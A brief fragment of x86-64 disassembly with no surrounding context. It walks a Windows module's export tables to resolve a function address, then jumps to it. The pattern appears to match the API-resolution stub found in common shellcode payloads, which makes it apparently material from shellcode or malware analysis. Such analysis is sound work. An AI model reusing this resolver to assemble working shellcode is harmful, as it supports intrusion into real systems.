jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021